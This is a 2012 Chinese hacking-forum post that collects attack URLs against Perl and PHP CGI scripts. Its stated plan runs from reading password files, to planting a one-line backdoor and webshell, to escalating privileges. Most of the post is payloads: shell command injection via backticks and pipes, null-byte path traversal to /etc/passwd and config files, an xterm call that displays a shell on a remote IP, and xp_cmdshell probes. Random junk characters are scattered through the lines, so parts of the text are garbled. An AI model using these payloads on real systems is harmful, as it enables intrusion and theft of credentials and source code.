找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2425|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  9 o$ y5 a7 z8 S# E% x
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
: y6 ~3 R$ q3 Y6 f% l  M, H感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ) L' x7 x( b# I( r
注“  
8 E( F0 C- Q# k: N. t' z% C6 |8 uperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  ( x" A7 v, i' m: t8 V- @. P, t! o. v
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  & U3 c; _& w, T: b. \3 P

2 F: J. v$ S8 o2 W; }5 ~7 s! Phttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
5 _6 j% L( U9 ihttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  3 a; H, Q: m2 r; x% h0 m# p
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  . U) M0 e% @+ [, w- X
http://target.com/cgi-bin/home/news/sub.pl?`id`  
2 m9 {7 \( s/ X2 N; ihttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
9 V; t7 B* p, z/ h2 ?http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  : G6 V$ S, i( ]" ~, F8 A" e7 T0 S

- V. R8 M: p6 M8 H6 hhttp://target.com/test.pl;ls|  
% F4 M" W8 d% @  R! D# Ghttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  . b8 `; w; F; J4 s
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
2 M! x0 z4 x% Q$ s6 nhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
& \3 j+ X# h, F  Q! Y+ G比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  " P0 k. A) |2 `3 u! s, t
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  , r, `$ [9 A/ B) r
. _6 R$ E: h# v
http://target.com/test.pl?&........ /../../etc/passwd  
8 K/ j! e" N; S# A$ p6 p/ s! W, E8 J1 n9 ~0 z3 G0 c+ R
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
3 |  H) a* R4 e# Xhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
4 m3 J6 G! o. qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  , I3 w: E0 o  E
1 L, u! X+ }( k! v# i
http://www.target.org/show.php?f ... /include/config.php 查看php代码  1 e, A) e0 ^9 d: @3 i* z, i
http://www.target.org/show.php?f ... ng/admin/global.php  + F/ p5 Q) j. ~0 n* N
- _" C, y# H' H: ?% V8 {# X
emm和ps的一句话
2 G. Y5 r6 O, _- }' j
6 a( h: k& B6 x( M0 g9 a0 `- \" i1 Ohttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  " R% ~5 w8 P" F5 v
7 y0 L0 [6 t  p1 g7 f$ w
>bbb%20|  3 z7 G" D) }6 r& I0 R5 u& Y9 l
7 s9 v! q+ |4 i0 w$ y8 k& M
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
" D* C; L, K" T9 b! C
1 ]' ]6 I% s4 I: _5 H! b$ dhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  " {% ~# `. f2 e5 {
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  1 a$ B$ n3 H5 {4 f$ k

- z' G) X9 J: T: e. d; n% H3 Y相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  * \7 [+ i3 w, L, d( a
http://target.com/index.html#cmd.exe  8 z- x$ O; p5 V6 F, E% _
http://target.com/index.html?dummyparam=xp_cmdshell  
) w4 O( \0 o9 U7 plynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
* ?9 l0 |6 J6 m9 S  ^5 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表